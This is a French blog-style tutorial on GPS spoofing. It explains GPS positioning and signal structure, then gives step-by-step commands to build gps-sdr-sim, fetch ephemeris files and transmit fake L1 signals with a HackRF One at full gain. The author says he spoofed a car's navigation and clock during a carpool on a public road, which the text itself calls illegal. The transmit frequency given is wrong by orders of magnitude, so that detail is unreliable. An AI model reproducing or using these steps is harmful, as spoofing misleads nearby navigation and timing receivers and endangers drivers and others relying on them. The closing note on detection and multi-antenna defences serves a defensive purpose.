Menu

Peux-t'on faire confiance à notre GPS ?

La nouvelle guerre électromagnétique

Pour voir le tutoriel de l'attaque cliquez ici

Introduction

Aujourd'hui, connaitre sa position ou la position d'un objet est un service qui est devenue indispensable. Le GNSS à été conçu à des fins militaires, pour permettre de naviguer avec précision, indépendamment de tout support au sol. Les USA ont été les premiers avec le GPS, suivi par l'URSSavec GLONASS et l'Europe (Galiléo) et la Chine (Beidou). Cependant tous ces systèmes demeurent interopérables pour les applications civiles en temps de paix. De nombreuses entreprises, ainsi que nous même utilisons le GPS. Hélas, les données de position des système GPS sont considéré comme dignes de confiance et sont donc rarement vérifiés par la plupart d'entre eux. De ce fait, il font donc face à de potentiels attaques.

Il y a quelques années, il est été encore très coûteux pour les attaquants d'obtenir des SDR. Mais ses plates-formes SDR se sont fortement développées et sont devenues moins cher. Encore pire, l’équipement permettant de tromper les GPS ne coûte pas cher (environ 300 dollars), et tous les programmes nécessaires sont généralement gratuits. En d’autres termes, l’usurpation GPS n’est pas réservée aux militaires ou aux services spéciaux, et presque n’importe qui peut le faire.

C’est à l’aide d’un SDR que je vais mettre en place une plateforme attaque. Le GPS fonctionne grâce au calcul de la distance entre un récepteur GPS et plusieurs satellites GPS (émetteur) via des ondes électromagnétiques. Comme les coordonnées des satellites sont connues et invariables, la résolution de ces calculs permet de connaître ses coordonnées et de se situer sur le globe en latitude, longitude et hauteur (x, y, z).

Le problème est que les signaux des satellites sont atténués dès qu’ils touchent la terre ferme, et que les antennes de la plupart des récepteurs ne sont pas vraiment sensibles. Par conséquent, l'attaquant n'a qu’à implanter un émetteur radio assez puissant à proximité, et à émettre un faux signal GPS pour pouvoir facilement couvrir les satellites, et faire que tous les récepteurs GPS qui se trouvent dans les environs calculent les mauvaises coordonnées. En même temps, les récepteurs n’ont pas les moyens techniques pour déterminer la direction du signal, et ne savent pas que le signal vient d’une source complètement différente.

Je vais vous démontrer que les données de position des appareils mobiles peuvent être facilement trafiqué à l'aide d'outils open source. Sans contact physique, ni d'accès root, il est possible de changer la position et l’horodatage des systèmes gps aux alentours.

Cependant, il est nécessaire de comprendre comment fonctionne le système GPS.

Le système GPS

Le GPS fonctionne grâce au calcul de la distance entre un récepteur GPS et plusieurs satellites GPS (émetteur) via des ondes électromagnétiques. C'est ainsi que le récepteur GPS peut calculer ses coordonnées et se situer sur le globe en latitude, longitude et hauteur (x, y, z).

Un satellite ayant des coordonnées connue (x1, y1, z1), diffuse un signal électromagnétique. A partir de sa position il suffit de mesurer la durée entre le signal est émis et celui arrivé.

Et de ce fait nous pouvons créer une formule mathématique qui traduit la position de l'appareil en fonction du satellite : (x-x1)²+(y-y1)²+(z-z1)² =cτ1

Cependant cette équation comporte trois inconnues et ne peut donc pas être résolue. Pour cela,il suffit simplement ajouter deux autres positions (satellites dont les coordonnées sont déjà connues).

Mais un autre problème se pose, l’horloge locale de notre système GPS et l'horloge des satellites ne sont pas synchronisé, il y a un écart de temps. Cet écart apporté par la désynchronisation de l'horloge doit être pris en considération. Les horloges transportées par les satellite GPS sont de haute précision, elles utilisent des horloges atomiques, qui ont un état de synchronisation extrêmement stricte.

C'est pourquoi au moins 4 satellites sont nécessaires pour compléter le positionnement GPS.

Conclusion, nous pouvons également calculer le décalage d'horloge local par rapport à l'horloge atomique des satellites GPS, et cette procédure est connue sous le nom d'heure de synchronisation GPS.

La structure du signal GPS

Les satellites GPS diffusent des signaux GPS dans différentes bandes de fréquences et en modulation différente. Le signal L1 (1575,42 MHz) est le signal le plus courant dans l'usage civil.

Schema de la modulation du signal GPS
Schema de la modulation du signal GPS.

Le signal civil est émis sur la porteuse de 1575,42 MHz. Le résultat de cette porteuse et l’addition de deux signaux.

  • Le signal de données à 50 bits/s.
  • Un code C/A “pseudo-aléatoire” (BPSK) à 1 Mbits/s.

La puissance du signal GPS reçu est très faible et la plupart des récepteurs GPS ne fonctionnent pas à l'intérieur.

Cela rend donc l'interférence ou l'usurpation de signal GPS assez facile, puisque les attaquants n'ont pas besoin de générer un signal fort pour couvrir le signal GPS réel.

Broadcast Ephemeris Data

les BRDC (Broadcast Ephemeris Data) contiennent les messages éphémérides uniques des satellites GPS du jour.

Les données d'éphémérides fournissent les données de localisation exactes (x(t), y(t), z(t)) de chaque satellite, afin que les récepteurs puissent calculer leur position. Ces archives sont disponible sur le serveur de fichier : ftp://cddis.gsfc.nasa.gov/gnss/data/daily/.

A-GPS

L’Assisted GPS, ou A-GPS, est une technique pour améliorer le positionnement par satellites.

Comme vu précédemment, le système GPS repose sur une table d'éphémérides afin de calculer la position géographique en latitude et longitude ainsi qu'en altitude d'un récepteur GPS.

Cette table, préalable nécessaire à l'obtention d'une position, est transmise via les signaux des satellites mais souffre dans ce cas de deux défauts majeurs :

  • elle est lente à télécharger car le débit de données par le signal du satellite est seulement de 50 bit/s, et si le signal du satellite est perdu durant le téléchargement il faut recommencer à partir du début.
  • elle n'a une durée de vie que de quatre heures.

En conséquence, le temps pour obtenir une première position lorsque le GPS n'a pas été utilisé depuis plus de 4 heures dépend fortement de la qualité de réception des satellites et du nombre de satellites visibles. Dans des conditions optimales, il est de l'ordre d'une à deux minutes.

L'A-GPS permet de s'affranchir de cette étape en téléchargeant via Internet ou via un réseau de téléphonie mobile ces éphémérides habituellement pour une durée de quelques jours.

Spoofing GPS

ATTENTION ! Ce tutoriel à pour unique but de vous enseigner comment vous protegez et ne doit etre aucun utilisée pour faire du mal.

Le spoofing GPS est strictement illégal. En outre, je ne serai pas tenu responsable en cas d'incident.

Mise en place de l'attaque

Le but est de générer de fausses données GPS dans le but de changer la localisation et l’horodatage d’une puce GPS d’un système GPS.

Voici la mise en place sur un système Ubuntu :

  $ git clone git@github.com:osqzss/gps-sdr-sim.git
    $ cd gps-sdr-sim
    $ gcc gpssim.c -lm -fopenmp -o gps-sdr-sim

Voici la commande pour générer des échantillons de signaux GPS pour un emplacement statique :

  $./gps-sdr-sim -b 8 -e brdcfile -l latitude,longitude,hauteur 
  • -b Format de données I/Q, le HackRF utilise le format 8.
  • -e Fichier de navigation BRDC pour les éphémérides GPS (obligatoire).
  • -l Localisation en latitude, longitude et hauteur.

Le fichier BRDC doit etre celui du jour, vous pouvez l'obtenir facilement en executant ce script :

  #!/bin/sh
  day=$(date +%j)
  year=$(date +%Y)
  yr=$(date +%y)
  wget "ftp://cddis.gsfc.nasa.gov/gnss/data/daily/$year""/brdc/brdc""$day""0.$yr""n.Z"
  uncompress "brdc""$day""0.$yr""n.Z"
  echo "brdc""$day""0.$yr""n.Z"

Une fois que les échantillons de signaux sont générés, un fichier gpssim.bin apparaît.

Ce fichier est utilisé pour transmettre à l'antenne de la plate-forme SDR les échantillons de signaux qui ont été générés.

Transmission à l’antenne du HackRF ONE :

  $ hackrf_transfer -t gpssim.bin -f 157542000000 -s 2600000 -a 1 -x 47 -p 1 -R
  • - t nom de fichier.
  • - f Fréquence en Hz (ici GPS donc 157542000000)
  • -s Fréquence d'échantillonnage, fréquence d'échantillonnage en Hz (ne pas changer)
  • -a Amplificateur RF RX/TX 1=Enable, 0=Désactivé.
  • -x Gain db, gain TX VGA (IF), 0-47dB.
  • -p Alimentation du port de l'antenne, 1=Activée, 0=Désactivée.-R, Répète l’envoie TX.

Resultat

J'ai effectué plusieurs test avec différents appareils. Vous pouvez noter qu’il est bien plus facile d’obtenir des résultats bien plus rapide sur des systèmes GPS classique (GPS embarquée dans une voiture, ou appareil GPS), que sur un smartphone classique.

En effet, une multitudes de manipulations sont nécessaires sur un smartphone (mode GPS only, désactivation de la précision Google, clear le cache A-GPS).

En revanche, aucune manipulation n’est à faire sur un système GPS classique.

J’ai pu expérimenter une attaque GPS lors d’un covoiturage sur la route des Landes avec un spoofing dynamique.

Cela a eu pour effet de totalement dérégler l’heure et le GPS embarqué. Lien vidéo : https://youtu.be/brngquNmQKU

Conclusion

Après avoir rappelé quelques principes de base de fonctionnement de GPS, de la couche physique à la couche logicielle, nous avons démontré l’aisance avec laquelle il est aujourd’hui possible de leurrer GPS, même dans des situations aussi critiques que les systèmes de navigation de voiture.

Des système de détection de leurrage par incohérence des signaux reçus (décalage Doppler en dehors de la gamme physiquement atteignable, puissance de signal excessive) pourrait permettre de protéger ses appareils. Finalement, la solution multi-antennes avec plusieurs signaux de la constellation semble la solution la plus robuste pour se prémunir des attaques de leurrage.

Voici un article du Monde sur la nouvelle guerre électromagnétique : La nouvelle guerre du GPS et ses risques